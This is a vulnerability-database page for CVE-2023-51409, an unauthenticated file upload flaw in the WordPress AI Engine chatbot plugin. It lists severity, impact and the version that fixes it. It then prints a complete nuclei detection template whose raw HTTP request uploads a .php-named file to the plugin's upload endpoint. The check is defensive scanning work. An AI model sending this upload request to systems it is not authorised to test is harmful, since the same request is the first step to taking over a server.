HexBrain

Browse / CVEs / CVE-2023-51409

CVE-2023-51409· meowapps / ai engine· CWE-434

Jordy Meow AI Engine - Unrestricted File Upload

criticalseverity
9.8CVSS score
63.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Unrestricted Upload of File with Dangerous Type vulnerability in Jordy Meow AI Engine- ChatGPT Chatbot.This issue affects AI Engine- ChatGPT Chatbot- from n/a through 1.9.98.

Impact

Unauthenticated attackers can upload files of dangerous types without restriction, potentially leading to remote code execution and complete system compromise.

Fix

Update AI Engine plugin to version 1.9.99 or later.

How to confirm it

Send: POST /wp-json/mwai-ui/v1/files/upload
Positive when: contains "\"success\":true" and "{{filename}}.php" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-51409 -u <target>

The full check
id: CVE-2023-51409

info:
  name: Jordy Meow AI Engine - Unrestricted File Upload
  author: pussycat0x
  severity: critical
  description: |
    Unrestricted Upload of File with Dangerous Type vulnerability in Jordy Meow AI Engine- ChatGPT Chatbot.This issue affects AI Engine- ChatGPT Chatbot- from n/a through 1.9.98.
  impact: |
    Unauthenticated attackers can upload files of dangerous types without restriction, potentially leading to remote code execution and complete system compromise.
  remediation: |
    Update AI Engine plugin to version 1.9.99 or later.
  reference:
    - https://github.com/Nxploited/CVE-2023-51409
    - https://github.com/RandomRobbieBF/CVE-2023-51409
    - https://patchstack.com/database/vulnerability/ai-engine/wordpress-ai-engine-plugin-1-9-98-unauthenticated-arbitrary-file-upload-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51409
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-51409
    cwe-id: CWE-434
    epss-score: 0.63077
    epss-percentile: 0.99209
    cpe: cpe:2.3:a:meowapps:ai_engine:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: meowapps
    product: ai_engine
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ai-engine/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,ai-engine,intrusive,vkev,vuln,ai

variables:
  filename: "{{to_lower(rand_text_alpha(7))}}"

http:
  - raw:
      - |
        POST /wp-json/mwai-ui/v1/files/upload HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Content-Type: multipart/form-data; boundary=7b22c609c9ce879dadf1494f0a6b2071

        --7b22c609c9ce879dadf1494f0a6b2071
        Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
        Content-Type: text/plain

        {{randstr}}.txt
        --7b22c609c9ce879dadf1494f0a6b2071--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '{{filename}}.php'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from